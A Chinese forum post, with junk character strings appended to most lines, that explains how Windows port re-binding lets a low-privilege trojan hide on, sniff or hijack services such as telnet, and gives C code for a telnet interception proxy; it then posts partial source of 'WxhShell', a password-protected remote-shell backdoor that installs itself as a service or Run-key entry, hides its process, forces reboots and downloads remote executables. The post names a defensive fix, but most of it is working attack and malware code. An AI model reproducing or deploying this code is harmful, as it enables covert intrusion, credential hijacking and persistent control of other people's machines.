社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13596阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4T#Z[B[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <H!; /p/S  
*W<g%j-a  
  saddr.sin_family = AF_INET; tZY(r {  
wsfn>w?!V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8c'E  
SbpO<8}8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ibl==Irk  
j6$_U@)%O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b*qC  
K<tkNWasQ  
  这意味着什么?意味着可以进行如下的攻击: 8DNGqaH;dt  
"PPn^{bYm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ +z'pK~c  
I#hzU8Cc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qdVExO&  
ag$UNV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &+t,fwlM  
>@d=\Kyu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *gzX=*;x+?  
7":0CU% %  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7J2i /m  
g8w5X!Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b$)XS  
yq>3IS4O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MA:8g D  
+#y[sKa  
  #include E>?T<!r~j  
  #include m)?cXM  
  #include eJ!a8   
  #include    D8Vb@5MW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tpi63<N  
  int main() "n@=.x  
  { iPJZ%  
  WORD wVersionRequested; mYzq[p_|j  
  DWORD ret; _nj?au(@`Y  
  WSADATA wsaData; fKAG+t  
  BOOL val; Iih~rWJ  
  SOCKADDR_IN saddr; ~8EG0F;t  
  SOCKADDR_IN scaddr; Lw.N3!e[  
  int err; '4qi^$|\  
  SOCKET s; ~?{@0,$  
  SOCKET sc; )f0t"lk  
  int caddsize; !Hr +|HKQ?  
  HANDLE mt; -3c?Yaf"  
  DWORD tid;   5fBW#6N/  
  wVersionRequested = MAKEWORD( 2, 2 ); z|SLH<~  
  err = WSAStartup( wVersionRequested, &wsaData ); R3$e q )  
  if ( err != 0 ) { 2$? )VXtw  
  printf("error!WSAStartup failed!\n"); +x0-hRD  
  return -1; ]E)gMf   
  } 8ESBui3;  
  saddr.sin_family = AF_INET; ;wz YZ5=Di  
   CxtH?9# |  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A{hWFSv  
8P'>%G<m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Piz/vH6M}  
  saddr.sin_port = htons(23); vf(\?Js ,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kqA`d  
  { `riK[@  
  printf("error!socket failed!\n"); A_@#V)D2  
  return -1; E-i rB/0  
  } I=pT fkTT  
  val = TRUE; {j E}mzi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B;':Eaa@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R '/Ilz`  
  { E7axINca  
  printf("error!setsockopt failed!\n"); U:xr['  
  return -1; DP*[t8  
  } 8\t~ *@"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mY3x (#I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P$D1kcCw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?!-2G  
hun/H4f|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l23#"gGb  
  { I "9S  
  ret=GetLastError(); !UlG! 820  
  printf("error!bind failed!\n"); O- &>Dc  
  return -1; pXCmyLQ  
  } 8fJ- XFK$:  
  listen(s,2); dd>stp   
  while(1) :\48=>  
  { ek#{!9-  
  caddsize = sizeof(scaddr); [>4Ou^=1  
  //接受连接请求 1< ;<?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :NO'[iE  
  if(sc!=INVALID_SOCKET) U)+Yh  
  { }} l04kN_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -pc*$oe  
  if(mt==NULL) O6;7'  
  { 7WW@%4(  
  printf("Thread Creat Failed!\n"); ~FM5]<X)  
  break; K9gfS V>]  
  } #tdI;x3  
  } Hc4]2pf  
  CloseHandle(mt); cyG3le& +G  
  } Qg9 N?e{z  
  closesocket(s); }0|,*BkI m  
  WSACleanup(); KyNv)=x4c  
  return 0; o|AV2FM)  
  }   b4s.`%U  
  DWORD WINAPI ClientThread(LPVOID lpParam) a4L8MgF&$-  
  { $v+Q~\'  
  SOCKET ss = (SOCKET)lpParam; L*1C2EL/q  
  SOCKET sc; `(EY/EsY  
  unsigned char buf[4096]; =\?KC)F*e  
  SOCKADDR_IN saddr; ~k4S~!(U0  
  long num; ,)nO   
  DWORD val; PygaW&9Z|d  
  DWORD ret; W :jC2,s!m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WeE>4>^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Rk;*MEMJ  
  saddr.sin_family = AF_INET; c63DuHA*C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y|g8xkI}XB  
  saddr.sin_port = htons(23); '$PiyM|V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DnP>ed"M!  
  { a&p|>,WS  
  printf("error!socket failed!\n"); tD.md _E  
  return -1; ub6=^`>h  
  } kc\^xq~  
  val = 100; cRK1JxU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [GX5jD#  
  { 4}Y2 B$  
  ret = GetLastError(); :e`;["(,  
  return -1; \SS1-UbL  
  } <|~X,g;f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <l(LQmM;  
  { )}1 J.>5  
  ret = GetLastError(); q<yp6Q3^  
  return -1; 8/x@|rjW  
  } #7+oM8b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lzN\~5a}  
  { AF>J8V  
  printf("error!socket connect failed!\n"); fn(KmuNA  
  closesocket(sc); kcVEE)zb  
  closesocket(ss); 0p :FAvvNI  
  return -1; Ua)ARi %  
  } pM= @  
  while(1) <V#9a83JP  
  { ds,NNN<HW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9sifc<za  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0{j] p^'<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u1xCn\  
  num = recv(ss,buf,4096,0); 0~Z >}(  
  if(num>0) &p%0cjg"Q  
  send(sc,buf,num,0); HP^<2?K  
  else if(num==0) h W6og)x  
  break; & xo,49`!  
  num = recv(sc,buf,4096,0); #HpF\{{v  
  if(num>0) |T atRB3>  
  send(ss,buf,num,0); a_P8!pk+5  
  else if(num==0) >}%  
  break; j{U?kW{o  
  } 9^,MC&eb  
  closesocket(ss); V)72]p  
  closesocket(sc); bf|s=,D  
  return 0 ; Stq&^S\x69  
  } Eq=~SO%  
OZ3iH%  
-/Pg[Lx7Pb  
========================================================== HKbyi~8N=  
OOn{Wp  
下边附上一个代码,,WXhSHELL ov*?[Y7|~  
U}<5%"!;  
========================================================== E*'sk  
sygxV  
#include "stdafx.h" d _ )5Ks}  
DJvmwFx  
#include <stdio.h> %wWJVq}jx  
#include <string.h> :rd{y`59>&  
#include <windows.h> gQMcQV]C$  
#include <winsock2.h> ^<49NUB>  
#include <winsvc.h> FD:3;nUY7  
#include <urlmon.h> kVR_?ch{  
ZxLdh8v.  
#pragma comment (lib, "Ws2_32.lib") ]-h;gN  
#pragma comment (lib, "urlmon.lib") /N .xh  
82l$]W4  
#define MAX_USER   100 // 最大客户端连接数 mQdF+b1o  
#define BUF_SOCK   200 // sock buffer \9j +ejGf  
#define KEY_BUFF   255 // 输入 buffer (Ild>_Tdb`  
d$qivct  
#define REBOOT     0   // 重启 f]%:.N~1w  
#define SHUTDOWN   1   // 关机 5]pvHc  
#@FMH*?xX6  
#define DEF_PORT   5000 // 监听端口 m:&go2Y  
=?]H`T:  
#define REG_LEN     16   // 注册表键长度 BdBwfH%:  
#define SVC_LEN     80   // NT服务名长度 @yp#k>  
Cw6\'p%l-\  
// 从dll定义API 0M=A,`qk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ybNo`:8 A;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yuo:hF\DH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E><$sN6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Iv])s  
tQ=3Oa[u  
// wxhshell配置信息 'EzKu~*  
struct WSCFG { 'KvS I=$  
  int ws_port;         // 监听端口 prtNfwJz1j  
  char ws_passstr[REG_LEN]; // 口令 m31l[e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6S K;1Bp-{  
  char ws_regname[REG_LEN]; // 注册表键名 b9nTg  
  char ws_svcname[REG_LEN]; // 服务名 1eHU!{<fqm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z p8\n:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y7pwYRY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z~R7 G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y5/frJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s0r::yO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c8z6-6`i0  
Wh).%K(t  
}; /LwS|c6}}  
KU$:p^0l;*  
// default Wxhshell configuration `CpfQP&^  
struct WSCFG wscfg={DEF_PORT, XZ%3PMq  
    "xuhuanlingzhe", K0;caqE^  
    1, g0({$2Q7R  
    "Wxhshell", ;wGoEN  
    "Wxhshell", #aI(fQZe  
            "WxhShell Service", rhff8C//'  
    "Wrsky Windows CmdShell Service", 1 S<E=7  
    "Please Input Your Password: ", |"]#jx*8KC  
  1, {Kh^)oYdd  
  "http://www.wrsky.com/wxhshell.exe", Fnqj^5  
  "Wxhshell.exe" z)tULnR8  
    }; ;|qbz]t2(  
~jz!jF~I  
// 消息定义模块 5Z;iK(>IX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v']Tusmg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ei>.eXUD5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1S[4@rZ  
char *msg_ws_ext="\n\rExit."; } H#C<:A  
char *msg_ws_end="\n\rQuit."; _uXb 9  
char *msg_ws_boot="\n\rReboot..."; Cb4.N 8  
char *msg_ws_poff="\n\rShutdown..."; \/XU v(  
char *msg_ws_down="\n\rSave to "; 9'5<b  
?)NgODU  
char *msg_ws_err="\n\rErr!"; [0bp1S~  
char *msg_ws_ok="\n\rOK!"; ^8.s"4{  
h`i*~${yg  
char ExeFile[MAX_PATH]; n4XEyCrD  
int nUser = 0; u@]rR&h`  
HANDLE handles[MAX_USER]; b=@H5XTZyK  
int OsIsNt; d+45Y,|  
,#Pp_f<  
SERVICE_STATUS       serviceStatus; /,d]`N!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CwjKz*'[g  
i[Qq,MmC  
// 函数声明 L;\f^v(  
int Install(void); Y{KN:|i.!  
int Uninstall(void); v[~~q  
int DownloadFile(char *sURL, SOCKET wsh); U8S<wf&  
int Boot(int flag); FPb4VJ|xm  
void HideProc(void); lvOM1I  
int GetOsVer(void); ,_K y'B  
int Wxhshell(SOCKET wsl); <) cJz  
void TalkWithClient(void *cs); &?@gCVNO,  
int CmdShell(SOCKET sock); [L>mrHqG  
int StartFromService(void); LbkQuq/d  
int StartWxhshell(LPSTR lpCmdLine); (N6=+dNY  
C>A} e6o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8q]_> X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^*G UcQ$  
bblEZ%  
// 数据结构和表定义 t5CJG'!ql  
SERVICE_TABLE_ENTRY DispatchTable[] = .Te GA;  
{ /&N\#;kK?b  
{wscfg.ws_svcname, NTServiceMain}, 5X PoQ^  
{NULL, NULL} %)ri:Qq  
};  eC[G4  
,UYe OM2Ao  
// 自我安装 h[bC#(  
int Install(void) `#*`hH8  
{ "M;[c9  
  char svExeFile[MAX_PATH]; 7aS%;EU  
  HKEY key; '2qbIYanh  
  strcpy(svExeFile,ExeFile); [_`<<!u>-  
yi8AzUW cW  
// 如果是win9x系统,修改注册表设为自启动 fBb:J+  
if(!OsIsNt) { !k<k]^Z\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fs}B\R/J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (]Q0L{~K  
  RegCloseKey(key); C%#w1k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zd| u>tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E]Q d5l  
  RegCloseKey(key); v4]#Nc$~T  
  return 0; ),>whCtsI  
    } wwNkJ+  
  } }ssP%c]  
} W K(GR\@  
else { vL#I+_ 2  
@.,Mn#  
// 如果是NT以上系统,安装为系统服务 ba tXj]:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Akh/pb  
if (schSCManager!=0) ,Yn$X  
{ ~\*wt(o  
  SC_HANDLE schService = CreateService ' %&-`/x  
  ( SB|Cr:wM  
  schSCManager, >]HvXEdNZ|  
  wscfg.ws_svcname, ta@fNS4  
  wscfg.ws_svcdisp, >guX,hx^  
  SERVICE_ALL_ACCESS, 8Ow#W5_3|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tl 9`  
  SERVICE_AUTO_START, #nQboTB@  
  SERVICE_ERROR_NORMAL, } rX)A\ g6  
  svExeFile, 4~AY: ib|  
  NULL, >uo=0=9=  
  NULL, i# fvF)  
  NULL, bN&DotG  
  NULL, :*vSC:q  
  NULL Z6zLL   
  ); [x%8l,O #l  
  if (schService!=0) ]|N"jr?7H  
  { RA!8AS?  
  CloseServiceHandle(schService); 610u!_-  
  CloseServiceHandle(schSCManager); )8taMC:H^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vp1Q^`a{G  
  strcat(svExeFile,wscfg.ws_svcname); 8ly Ng w1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FzOlM-)m   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v8 II=9  
  RegCloseKey(key); I* P xQ  
  return 0; Uw?25+[b  
    } 7:zoF], s  
  } &p+2Vz{  
  CloseServiceHandle(schSCManager); iOk`_LG#  
} 4QE")Ge  
} O) )j  
xouBBb=  
return 1; b)>l7nOc  
} tR .>d  
"u'dd3!  
// 自我卸载 -M+o;  
int Uninstall(void) )+"(7U<  
{ 1]W8A.ZS  
  HKEY key; f7a"}.D $  
]D^zTl3=q  
if(!OsIsNt) { l$!Z};mw0E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S^N{=*  
  RegDeleteValue(key,wscfg.ws_regname); kaRjv   
  RegCloseKey(key); W6)XMl}n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x&N@R?AG1  
  RegDeleteValue(key,wscfg.ws_regname); m;sYg  
  RegCloseKey(key); P@<K&S+f  
  return 0; " ;o, D  
  } @7sHFwtar?  
} PWV+ M@  
} iA4VT,  
else { .B! L+M< [  
3!Mb<W.3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )7m.n%B!5V  
if (schSCManager!=0) KhPDXY]!  
{ %+dRjG~TB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U4lAo  
  if (schService!=0) QbYNL9%  
  { BPy pA $  
  if(DeleteService(schService)!=0) { AY]rQ:I  
  CloseServiceHandle(schService); >`n)-8  
  CloseServiceHandle(schSCManager); :U faMe5  
  return 0; V.!z9AQ  
  } ioslarw1J  
  CloseServiceHandle(schService); }]pOR&o  
  } 0Rn`63#  
  CloseServiceHandle(schSCManager); "VeNc,-nfQ  
} B~3qEdoK5`  
} aSeh?2n8  
HmV JkkksJ  
return 1; #b1/2=PA  
} _Ry  
@iVEnb.'  
// 从指定url下载文件 ZO\bCrk  
int DownloadFile(char *sURL, SOCKET wsh) (DM8PtZg  
{ d 8z9_C-  
  HRESULT hr; L @8[.  
char seps[]= "/"; c- [IgX e  
char *token; WWA!_  
char *file; )IuwI#pm  
char myURL[MAX_PATH]; Lf,C5 0  
char myFILE[MAX_PATH]; 3UcOpq2i\  
=Q8$O 2TW  
strcpy(myURL,sURL); YY$O"!."  
  token=strtok(myURL,seps); hw&~OJeo  
  while(token!=NULL) tY?evsVgz  
  { 6}_J;g\|  
    file=token; } ejc  
  token=strtok(NULL,seps); af/;Dr@  
  } >;X^+JH!)  
7v(<<>  
GetCurrentDirectory(MAX_PATH,myFILE); wHErF #xo  
strcat(myFILE, "\\"); z6OJT6<'  
strcat(myFILE, file); !M k]%  
  send(wsh,myFILE,strlen(myFILE),0); Z?'?+48xv4  
send(wsh,"...",3,0); Wp=:|J   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0urM@/j+  
  if(hr==S_OK) P' k`H  
return 0; M-5zsN  
else .:;#[Z{-  
return 1; kJ0otr2P  
Rx4O?7;  
} L;' v,s  
\fC}l Ll  
// 系统电源模块 .7H* F9  
int Boot(int flag) `"|u NVn  
{ ="[6Z$R  
  HANDLE hToken; m6 a @Y<  
  TOKEN_PRIVILEGES tkp; Va\?"dH>M  
!xD_=O  
  if(OsIsNt) { 28o!>*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O:X|/g0Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gd;e-.  
    tkp.PrivilegeCount = 1; }x:nhy`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uX,ln(9I*H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @,TCg1@QJ  
if(flag==REBOOT) { NZ~"2~Hh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #]Q.B\\  
  return 0; K-7i4 ~  
} G;bE_O  
else { Y.8mgy>   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zC$(/nZ  
  return 0; 0bG2YMs  
} PciiDh~/  
  } ON$-g_s>)  
  else { J OH=)+xj  
if(flag==REBOOT) { LwIX&\Ub  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L3X[; |v}  
  return 0; h+Tt+ Q\  
} ht^xc c  
else { rKWkT"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YS&Q4nv-  
  return 0; s& WHKCb  
} 9@z"~H  
} TWJ%? /d  
?1MaA  
return 1; v]BMET[w  
} 4O3-PU>N  
gR) )K)  
// win9x进程隐藏模块 6\?< :Qto  
void HideProc(void) Kg;1%J>ee  
{ *.Ceb%W7C  
hlTM<E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _cH 7lO[  
  if ( hKernel != NULL ) c*x5t"{  
  { )~[hf,R5S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p'IF2e&z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "# BI"  
    FreeLibrary(hKernel); - AxO1 qO  
  } [O(8iz v  
].<B:]:,  
return; @I|gA  
} bT{iei]?  
F]~>qt<ia  
// 获取操作系统版本 Wi(Ac8uh  
int GetOsVer(void) y2 ,M9  
{ {QTnVS't 0  
  OSVERSIONINFO winfo; 4&([<gyR<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !5K9L(gqb  
  GetVersionEx(&winfo); 9;u&,R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }e*OprF  
  return 1; X,h"%S<c#H  
  else KPSHBv-#  
  return 0; ];1Mg  
} m`Ver:{  
|\MgE.N  
// 客户端句柄模块 m dTCe HX  
int Wxhshell(SOCKET wsl) vMV}M%~  
{ 2bk~6Osp  
  SOCKET wsh; Grw|8xN0t  
  struct sockaddr_in client; 6S# e?>"+  
  DWORD myID; `aW>h8$I)  
^5 sO;vf  
  while(nUser<MAX_USER) v5;V$EGD&  
{ f?A1=lm~  
  int nSize=sizeof(client); na1*^S`[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I ;Sm<P7*  
  if(wsh==INVALID_SOCKET) return 1; ? @Y'_f  
<wZ2S3RNA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N3J;_=<4  
if(handles[nUser]==0) |B;tv#mKD  
  closesocket(wsh); :v!e8kM\x  
else ]V K%6PQ0  
  nUser++; .`3O4]N[  
  } ==\Qj{ 7`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e$3{URg  
]e+88eQ  
  return 0; C.[abpc  
} @Js^=G2  
af<R.  
// 关闭 socket 2\p8U#""  
void CloseIt(SOCKET wsh) 9zKrFqhNo  
{ r2]KP(T8|  
closesocket(wsh);  ]%L?b-e  
nUser--; `i,l)X]  
ExitThread(0); "NgfdLz  
} %cl=n!T  
j%m9y_rg}  
// 客户端请求句柄 `'Af`u\R  
void TalkWithClient(void *cs) )E.!jL:g  
{ 0//?,'.  
K*_5M  
  SOCKET wsh=(SOCKET)cs; m ["`Op4  
  char pwd[SVC_LEN]; V_T.#"C4=z  
  char cmd[KEY_BUFF]; n@)Kf A)&  
char chr[1]; zMf .  
int i,j; vO#=]J8`  
L:ox$RU  
  while (nUser < MAX_USER) { $6ev K~  
/uM;g9 m  
if(wscfg.ws_passstr) { '*~_!lE5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )oRF/Xx`g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B8Cic\2  
  //ZeroMemory(pwd,KEY_BUFF); WDC+Jmlgp  
      i=0; 4iD-jM_D  
  while(i<SVC_LEN) { N:]71+  
Wz~=JvRHh  
  // 设置超时 ]c.1&OB7o  
  fd_set FdRead; 1yS [;  
  struct timeval TimeOut; W'BB FG  
  FD_ZERO(&FdRead); -r6cK,WVU  
  FD_SET(wsh,&FdRead); NT6OGBl&  
  TimeOut.tv_sec=8; S~9K'\vO  
  TimeOut.tv_usec=0; 3:Mq4 0]x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CHeU?NtFps  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Stkyz:,(  
Ca&5"aki  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Y_?r$M  
  pwd=chr[0];  {hzU  
  if(chr[0]==0xd || chr[0]==0xa) { (|<e4HfZL  
  pwd=0; 0@K?'6  
  break; 'Olp2g8=  
  } UbD1h_b  
  i++; =r3%jWH6  
    } O]\6Pv@N  
GESEj%R/b  
  // 如果是非法用户,关闭 socket F~`Yh6v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p5C:MA~*  
} \DG 6  
hmRnr=2N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =ZE]jmD4P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Df\~ ZWs!  
v-k~Q$7~  
while(1) { PgeC\#;9  
-K 7jigac  
  ZeroMemory(cmd,KEY_BUFF); llCBqWn  
b'!t\m  
      // 自动支持客户端 telnet标准   CWP),]#n  
  j=0; o=t@83Fh5  
  while(j<KEY_BUFF) { \>T+\?M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `OL@@`'^{S  
  cmd[j]=chr[0]; Xu4C*]A>  
  if(chr[0]==0xa || chr[0]==0xd) { dr|>P*  
  cmd[j]=0; B}PT-S1l  
  break; "$->nC.  
  } 3D"2yTM(  
  j++; RObo4  
    } Rqi= AQ  
Vq'\`$_  
  // 下载文件 5r*5Co+  
  if(strstr(cmd,"http://")) { eI+<^p_j2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 77FI&*q  
  if(DownloadFile(cmd,wsh)) _GoV\wGKl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yqEX0|V%  
  else X"4 :#s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B-oQ 9[~  
  } rd*`8B  
  else { 5`TbM  
RZ(*%b<C  
    switch(cmd[0]) { %h}Qf&U_  
  TzaR{0 1  
  // 帮助 WR&>AOWAD  
  case '?': { qXOWCYqs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ae1?8man  
    break; zn,y'},  
  } "!ZQ`yl  
  // 安装 lO (MF  
  case 'i': { U9<AL.  
    if(Install()) Fgx{ s%&-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uPVM>xf>w  
    else #.<Uy."z2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~  4v  
    break; eGwO!Lv}B  
    } Mnu8d:$  
  // 卸载 pyvH [  
  case 'r': { Z~g6C0  
    if(Uninstall()) p<eu0B_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `!`g&:Y  
    else I~^t\iujs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 291"0  
    break; F9ys.Bc  
    } Frn<~  
  // 显示 wxhshell 所在路径 z\d{A7  
  case 'p': { 8 #m,TOp  
    char svExeFile[MAX_PATH]; InO;DA\  
    strcpy(svExeFile,"\n\r"); prHM}n{0  
      strcat(svExeFile,ExeFile); s+tPHftp  
        send(wsh,svExeFile,strlen(svExeFile),0); Wq5 }SM  
    break; M id v  
    } yQT cO^E  
  // 重启 u|ph_?6 o  
  case 'b': { 1zGD~[M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oe)d|6=  
    if(Boot(REBOOT)) &kR*J<)V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8t1XZ  
    else { S55h}5Y  
    closesocket(wsh); \;!}z3Ww  
    ExitThread(0); J?wCqA  
    } h23"<  
